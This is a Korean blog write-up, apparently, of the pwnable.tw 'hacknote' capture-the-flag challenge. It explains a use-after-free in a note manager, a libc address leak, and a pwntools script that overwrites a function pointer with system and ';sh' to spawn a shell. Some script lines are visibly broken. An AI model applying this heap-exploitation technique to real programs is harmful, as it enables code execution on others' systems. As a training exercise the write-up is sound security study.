hOwDayS 선린 10720

pwnable.tw hacknote 본문

공부/pwnable.tw

pwnable.tw hacknote

hOwDayS 2018. 9. 11. 10:11



단순한 힙 문제다



RELRO 

Partial RELRO

Stack Canary

Canary Found 

 NX

 Nx enabled

 PIE

 NO PIE





main


1. addnote

2. deletenote

3. printnote




addnote


8만큼 할당 시킨다음 함수 포인터를 넣는다

그리고 노트 사이즈만큼 할당시킨다


deletenote


함수포인터와 노트를 free한다

printnote


인덱스를 입력받아 함수포인터를 실행한다




노트를 삭제할때 노트를 담는 전역변수 포인터 ptr에서 삭제
안시켜준다는 점에서 릭을 할 수 있다.

1. smallbin 를 두개 할당

2. smallbin 하나 삭제

2. smallbin 삭제한 것을 print note 




이것도 Leak과 똑같은 취약점으로 익스플로잇 할 수 있다


1. 아무거나 할당 (전 smallbin 두개를 원래 상태로)


2. smallbin 2개를 삭제 (함수포인터 모두 free)


3. 노트를 만들때 사이즈를 8로 해서 만듦 -> smallbin  함수포인터 조작 가능


4. smallbin 함수포인터 조작 된것을 printnote






1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
import time
 
 
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
#libc = ELF("./libc_32.so.6")
 
= ELF("./hacknote")
= process("./hacknote")
#p = remote("chall.pwnable.tw",10102)
 
def addnote(size , content):
    p.recvuntil("choice :")
    p.sendline("1")
    p.sendlineafter(":",str(size))
    p.sendafter(":",content)
 
def deletenote(idx):
    p.recvuntil("choice :")
    p.sendline("2")
    p.sendlineafter(":",str(idx))
 
 
 
addnote(128 , "A"# 0 
addnote(128,"B"# 1
deletenote(0)
addnote(10,"\n"#2
 
p.recvuntil("choice :")
p.sendline("3")
p.sendafter(":","0")
 
p.recv(4)
libc_base = u32(p.recv(4)) - 0x1b2830
log.success("libc_base : " + hex(libc_base))
 
deletenote(0#3
deletenote(1#4
 
addnote(8,p32(libc_base +libc.symbols["system"]) + ";sh\x00"#
 
p.recvuntil("choice :")
p.sendline("3")
p.sendafter(":","0")
 
p.interactive()
 
        
 
cs


Comments